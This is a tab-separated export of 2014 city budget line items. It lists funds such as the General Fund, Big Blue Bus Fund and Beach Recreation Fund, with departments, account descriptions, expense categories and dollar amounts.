8982	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2014	301546.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	301546.0
8983	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	555016.0	OUTSIDE REPAIRS-HZRDOUS WASTE		 Supplies and Expenses	2014	93788.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	93788.0
8984	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522130.0	UTILITIES - WATER	804.0	 Supplies and Expenses	2014	2500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2500.0
8985	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	408130.0	ROSIE'S GIRLS-MATERIALS FEES	612.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
8986	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	405140.0	415 PCH - CONCESSIONS	612.0	Charges for Service	2014	-172000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-172000.0
8987	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511749.0	VISION	808.0	Salaries and Wages	2014	1094.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1094.0
8988	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522310.0	OFFICE SUPPLIES / EXPENSE	810.0	 Supplies and Expenses	2014	26000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	26000.0
8989	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2014	75000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	75000.0
8990	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2014	2600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2600.0
8991	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	577940.0	REIMB FOR PARKING EXPEND	810.0	 Supplies and Expenses	2014	133372.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	133372.0
8992	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511490.0	OVERTIME	810.0	Salaries and Wages	2014	39671.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	39671.0
8993	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	13036.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	13036.0
8994	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511749.0	VISION	808.0	Salaries and Wages	2014	1042.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1042.0
8995	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2014	3320.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3320.0
8996	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	555010.0	CONTRACTUAL SERVICES	804.0	 Supplies and Expenses	2014	80000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	80000.0
8997	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	533220.0	BUILDING / STRUCTURE MAINT	804.0	 Supplies and Expenses	2014	18500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	18500.0
8998	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	1758.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1758.0
8999	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2014	-1561.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1561.0
9000	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	804.0	Salaries and Wages	2014	417.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	417.0
9001	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	44794.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	44794.0
9002	BA	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	569300.0	BIKE VALET-PROP C LOCAL RETURN	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
9003	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	409140.0	PASSPORT SERV APPLICATIONS	612.0	Charges for Service	2014	-14600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-14600.0
9004	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	561112.0	CLARE COORDINATED CASE MGMT	808.0	 Supplies and Expenses	2014	4130.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4130.0
9005	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	561117.0	ST JOSEPH CENTER HPSHP-PROP A	808.0	 Supplies and Expenses	2014	8180.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8180.0
9006	BA	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	544160.0	RIDESHARE PROGRAM	816.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
9007	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579340.0	TRANS-IN-17FD-S.A. ADMIN.	908.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
9008	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579350.0	TRANS-IN-17FD-COLLECT.BARG.		 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
9009	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	522230.0	CREDIT CARD FEES	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
9010	BA	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	267	ALL OTHER TRANSACTIONS	408530.0	MEMORIAL PARK SUST COMM GRANT	610.0	Intergovernmental	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
9011	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511748.0	DENTAL	808.0	Salaries and Wages	2014	11666.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	11666.0
9012	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	144654.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	144654.0
9013	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2014	100774.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	100774.0
9014	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2014	15299.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15299.0
9015	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2014	12478.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12478.0
9016	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511748.0	DENTAL	808.0	Salaries and Wages	2014	6666.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6666.0
9017	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522310.0	OFFICE SUPPLIES / EXPENSE	808.0	 Supplies and Expenses	2014	18500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	18500.0
9018	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	76247.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	76247.0
9019	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522110.0	UTIL - LIGHT / POWER	808.0	 Supplies and Expenses	2014	298373.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	298373.0
9020	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	555210.0	TRAINING	808.0	 Supplies and Expenses	2014	1500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1500.0
9021	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2014	211276.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	211276.0
9022	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	1627.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1627.0
9023	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2014	1289255.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1289255.0
9024	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	555060.0	PROFESSIONAL SERVICES	808.0	 Supplies and Expenses	2014	50000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	50000.0
9025	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		DCAP	808.0	Salaries and Wages	2014	1368.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1368.0
9026	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2014	24674.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	24674.0
9027	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511730.0	WORKERS' COMP INSURANCE	810.0	Salaries and Wages	2014	33205.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	33205.0
9028	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522120.0	UTILITIES - NATURAL GAS	810.0	 Supplies and Expenses	2014	1000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1000.0
9029	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511050.0	CAPITAL PROJECT STAFFING	808.0	Salaries and Wages	2014	-159075.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-159075.0
9030	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	405590.0	CABLE FRANCHISE FEES	608.0	Licenses and Permits	2014	-1087849.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1087849.0
9031	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	404650.0	INTEREST-CIVIC PKG STR BONDS	616.0	Investment Income	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
9032	BA	IS	20	Miscellaneous Grants Fund	130	FINANCE	221	ADMINISTRATION	402920.0	PROP A LOCAL RETURN	610.0	Intergovernmental	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
9033	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	523000.0	VEHICLE MGMT FUND-MAINTENANCE	810.0	 Supplies and Expenses	2014	4600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4600.0
9034	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579004.0	DISCRET-COMM CAREER DEVE	804.0	 Supplies and Expenses	2014	92688.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	92688.0
9035	BA	IS	53	Parks and Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	402930.0	UNIT DWELLING TAX	606.0	Other Local Taxes	2014	-25000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-25000.0
9036	BA	IS	14	TORCA Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	404060.0	INT DEP / INVESTMENT	616.0	Investment Income	2014	-31000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-31000.0
9037	BA	IS	4	Special Revenue Source Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	410260.0	4TH COURT IMPROVEMENT CONTRIB	622.0	Other	2014	-210000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-210000.0
9038	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		EAP	808.0	Salaries and Wages	2014	104.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	104.0
9039	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522540.0	ADVERTISING	808.0	 Supplies and Expenses	2014	37500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	37500.0
9040	BA	IS	14	TORCA Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	404178.0	RESIDUAL RECEIPTS-HOUSING	622.0	Other	2014	-50000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-50000.0
9041	BA	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579961.0	BBB-GEN FUND REIMBURSEMENT	910.0	 Supplies and Expenses	2014	446690.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	446690.0
9042	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2014	1285.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1285.0
9043	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	563161.0	FTA NEW FREEDOM GRANT	810.0	 Supplies and Expenses	2014	112052.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	112052.0
9044	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	407690.0	TAXI DECAL FEE	612.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
9045	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	405170.0	CAM FEES	650.0	Charges for Service	2014	-422264.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-422264.0
9046	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	555061.0	PROF SVCS - LUCE MONITORING	816.0	 Supplies and Expenses	2014	325000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	325000.0
9047	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511711.0	MEDICARE-POLICE	804.0	Salaries and Wages	2014	1000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1000.0
9048	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511741.0	MEDICAL - POLICE	804.0	Salaries and Wages	2014	20421.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	20421.0
9049	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2014	26500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	26500.0
9050	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		EAP	804.0	Salaries and Wages	2014	2988.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2988.0
9051	BA	IS	4	Special Revenue Source Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	410070.0	OPEN SPACE CONTRIB	622.0	Other	2014	-207857.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-207857.0
9052	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	522110.0	UTIL - LIGHT / POWER	806.0	 Supplies and Expenses	2014	8938.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8938.0
9053	B1	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	402380.0	SELF-INSURANCE, GEN LIAB/AUTO	650.0	Charges for Service	2014	-3000000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-3000000.0
9054	B1	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	522010.0	PAYMENT OF CLAIMS		 Supplies and Expenses	2014	1550000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1550000.0
9055	B1	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	522040.0	INSURANCE AND BONDS		 Supplies and Expenses	2014	900000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	900000.0
9056	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	7000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7000.0
9057	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	2094.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2094.0
9058	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2014	2500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2500.0
9059	B1	IS	19	CDBG Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577720.0	CDBG REIMB-HUMAN SVC		 Supplies and Expenses	2014	59500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	59500.0
9060	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	400730.0	CA VEHICLE CODE FINES	614.0	Fines and Forfeitures	2014	-480000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-480000.0
9061	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	404000.0	STC PROGRAM	610.0	Intergovernmental	2014	-5600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-5600.0
9062	B1	IS	22	COPS Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	400750.0	INT DEP/INVESTMENT	616.0	Investment Income	2014	-2300.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-2300.0
9063	B1	IS	22	COPS Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	405810.0	COPS - PER CAPITA	610.0	Intergovernmental	2014	-255473.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-255473.0
9064	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2014	82535.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	82535.0
9065	B1	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	36031.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	36031.0
9066	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2014	800.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	800.0
9067	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522720.0	MILEAGE	816.0	 Supplies and Expenses	2014	400.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	400.0
9068	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2014	2500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2500.0
9069	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2014	2700.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2700.0
9070	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522910.0	VEHICLES - FUELS / LUBRICATION	816.0	 Supplies and Expenses	2014	3781.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3781.0
9071	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511730.0	WORKERS' COMP INSURANCE	810.0	Salaries and Wages	2014	15727.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15727.0
9072	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2014	1400.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1400.0
9073	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	566730.0	REC / PARKS COMMISSION	810.0	 Supplies and Expenses	2014	2783.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2783.0
9074	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	544340.0	INDIRECT COST ALLOCATION	810.0	 Supplies and Expenses	2014	94201.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	94201.0
9075	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2014	2500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2500.0
9076	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	533120.0	SPECIAL EQUIP MAINT	804.0	 Supplies and Expenses	2014	6000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6000.0
9077	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	212	R & ES(CITY CLERK)-ELECTIONS	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	4494.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4494.0
9078	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	212	R & ES(CITY CLERK)-ELECTIONS	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2014	3172.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3172.0
9079	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	443039.0	0	0	0	0.0	10156	-283.0	0	0	0	0	0.0	452912.0
9080	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	401440.0	POLICE BILLABLE SERVICES	612.0	Charges for Service	2014	-462836.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-462836.0
9081	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	405300.0	DUI RESPONSE-ACCIDENT/INJURY	612.0	Charges for Service	2014	-27358.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-27358.0
9082	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	400230.0	CONDOMINIUM TAX	606.0	Other Local Taxes	2014	-20000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-20000.0
9083	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511730.0	WORKERS' COMP INSURANCE	816.0	Salaries and Wages	2014	1091.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1091.0
9084	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2014	40000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	40000.0
9085	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511730.0	WORKERS' COMP INSURANCE	816.0	Salaries and Wages	2014	9240.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9240.0
9086	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	522110.0	UTIL - LIGHT / POWER	816.0	 Supplies and Expenses	2014	12625.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12625.0
9087	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	1127499.0	0	0	0	0.0	18077	-174.0	0	0	0	0	0.0	1145402.0
9088	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	1017524.0	0	0	0	0.0	12345	-20.0	0	0	0	0	0.0	1029849.0
9089	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	522720.0	MILEAGE	810.0	 Supplies and Expenses	2014	100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	100.0
9090	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	544120.0	PERIODICALS	810.0	 Supplies and Expenses	2014	200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	200.0
9091	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	533230.0	SECURITY SYSTEMS	810.0	 Supplies and Expenses	2014	1085.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1085.0
9092	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2014	523.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	523.0
9093	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	544170.0	UNIFORM / PROTECTIVE CLOTHING	816.0	 Supplies and Expenses	2014	7000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7000.0
9094	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2014	2051.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2051.0
9095	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522720.0	MILEAGE	810.0	 Supplies and Expenses	2014	99.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	99.0
9096	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522720.0	MILEAGE	810.0	 Supplies and Expenses	2014	209.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	209.0
9097	B1	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	522030.0	INVESTIGATION EXPENSES		 Supplies and Expenses	2014	38000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	38000.0
9098	B1	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	522070.0	DEPOSITION COSTS		 Supplies and Expenses	2014	56000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	56000.0
